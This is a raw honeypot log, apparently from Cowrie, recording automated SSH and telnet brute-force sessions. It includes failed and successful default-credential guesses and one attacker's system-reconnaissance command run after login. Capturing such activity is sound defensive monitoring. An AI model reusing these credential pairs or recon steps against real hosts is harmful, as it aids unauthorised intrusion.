ha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:49.570216Z","src_ip":"159.203.92.129","session":"afef0bc2f818","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@9000","message":"login attempt [admin/Admin@9000] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:49.580904Z","src_ip":"159.203.92.129","session":"afef0bc2f818","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:49.636620Z","src_ip":"159.203.92.129","session":"afef0bc2f818","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:49.640648Z","src_ip":"159.203.92.129","session":"afef0bc2f818","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:49.645452Z","src_ip":"159.203.92.129","session":"afef0bc2f818","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:49.659477Z","src_ip":"159.203.92.129","session":"afef0bc2f818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:49.665792Z","src_ip":"159.203.92.129","session":"afef0bc2f818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57138,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e0fc53251d8","protocol":"ssh","message":"New connection: 192.109.200.78:57138 (10.17.0.5:22) [session: 0e0fc53251d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:52.130768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:52.134951Z","src_ip":"192.109.200.78","session":"0e0fc53251d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:52.217494Z","src_ip":"192.109.200.78","session":"0e0fc53251d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:52.467386Z","src_ip":"192.109.200.78","session":"0e0fc53251d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:53.551880Z","src_ip":"192.109.200.78","session":"0e0fc53251d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":35274,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa7748f1074c","protocol":"telnet","message":"New connection: 206.189.71.75:35274 (159.203.135.109:23) [session: fa7748f1074c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:54.438542Z"}
{"eventid":"cowrie.session.closed","duration":35.1720290184021,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:55.508198Z","src_ip":"206.189.71.75","session":"fb11ffa6934b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.80883598327637,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:55.657881Z","src_ip":"206.189.71.75","session":"a0c9fa9538f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.232088804244995,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:55.817896Z","src_ip":"206.189.71.75","session":"f84d96f85c9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57180,"dst_ip":"10.17.0.5","dst_port":22,"session":"2829e6ed159c","protocol":"ssh","message":"New connection: 192.109.200.78:57180 (10.17.0.5:22) [session: 2829e6ed159c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:56.341483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:56.346665Z","src_ip":"192.109.200.78","session":"2829e6ed159c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:56.431092Z","src_ip":"192.109.200.78","session":"2829e6ed159c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:56.683678Z","src_ip":"192.109.200.78","session":"2829e6ed159c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.201298236846924,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:57.385505Z","src_ip":"206.189.71.75","session":"f00f232e34fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:57.767836Z","src_ip":"192.109.200.78","session":"2829e6ed159c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":38188,"dst_ip":"159.203.135.109","dst_port":23,"session":"940549fd2beb","protocol":"telnet","message":"New connection: 206.189.71.75:38188 (159.203.135.109:23) [session: 940549fd2beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:58.830272Z"}
{"eventid":"cowrie.session.closed","duration":36.15259790420532,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:59.124892Z","src_ip":"206.189.71.75","session":"b57423bb4456","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40356,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a1dd4cd51fb","protocol":"telnet","message":"New connection: 206.189.71.75:40356 (159.203.135.109:23) [session: 2a1dd4cd51fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:00.163411Z"}
{"eventid":"cowrie.session.closed","duration":36.79695010185242,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:00.320031Z","src_ip":"206.189.71.75","session":"62416093ca3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58696,"dst_ip":"10.17.0.5","dst_port":22,"session":"8044f6ebad16","protocol":"ssh","message":"New connection: 192.109.200.78:58696 (10.17.0.5:22) [session: 8044f6ebad16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:00.373164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:00.379253Z","src_ip":"192.109.200.78","session":"8044f6ebad16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:00.461836Z","src_ip":"192.109.200.78","session":"8044f6ebad16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:00.713729Z","src_ip":"192.109.200.78","session":"8044f6ebad16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:01.815255Z","src_ip":"192.109.200.78","session":"8044f6ebad16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.96849036216736,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:02.176946Z","src_ip":"206.189.71.75","session":"ad7fa70922cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.71445417404175,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:02.355974Z","src_ip":"206.189.71.75","session":"85f5e7dcd49f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58708,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7c7e76fa5c6","protocol":"ssh","message":"New connection: 192.109.200.78:58708 (10.17.0.5:22) [session: b7c7e76fa5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:04.671461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:04.676089Z","src_ip":"192.109.200.78","session":"b7c7e76fa5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:04.761055Z","src_ip":"192.109.200.78","session":"b7c7e76fa5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:05.314295Z","src_ip":"192.109.200.78","session":"b7c7e76fa5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:06.403159Z","src_ip":"192.109.200.78","session":"b7c7e76fa5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":46626,"dst_ip":"159.203.135.109","dst_port":23,"session":"41308a9f9f68","protocol":"telnet","message":"New connection: 206.189.71.75:46626 (159.203.135.109:23) [session: 41308a9f9f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:08.773690Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52888,"dst_ip":"10.17.0.5","dst_port":22,"session":"e78dae578c6e","protocol":"ssh","message":"New connection: 192.109.200.78:52888 (10.17.0.5:22) [session: e78dae578c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:08.821780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:08.826449Z","src_ip":"192.109.200.78","session":"e78dae578c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:08.908266Z","src_ip":"192.109.200.78","session":"e78dae578c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:09.336464Z","src_ip":"192.109.200.78","session":"e78dae578c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":47560,"dst_ip":"159.203.135.109","dst_port":23,"session":"341752cfc6ca","protocol":"telnet","message":"New connection: 206.189.71.75:47560 (159.203.135.109:23) [session: 341752cfc6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:09.738214Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:10.420622Z","src_ip":"192.109.200.78","session":"e78dae578c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.5601921081543,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:11.121595Z","src_ip":"206.189.71.75","session":"7711ee60c7cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52902,"dst_ip":"10.17.0.5","dst_port":22,"session":"14db20d2e230","protocol":"ssh","message":"New connection: 192.109.200.78:52902 (10.17.0.5:22) [session: 14db20d2e230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:13.162243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:13.166715Z","src_ip":"192.109.200.78","session":"14db20d2e230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:13.248717Z","src_ip":"192.109.200.78","session":"14db20d2e230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:13.498996Z","src_ip":"192.109.200.78","session":"14db20d2e230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:14.639168Z","src_ip":"192.109.200.78","session":"14db20d2e230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52916,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c1af804c09a","protocol":"ssh","message":"New connection: 192.109.200.78:52916 (10.17.0.5:22) [session: 6c1af804c09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:17.479510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:07:17.504879Z","src_ip":"192.109.200.78","session":"6c1af804c09a","protocol":"ssh"}
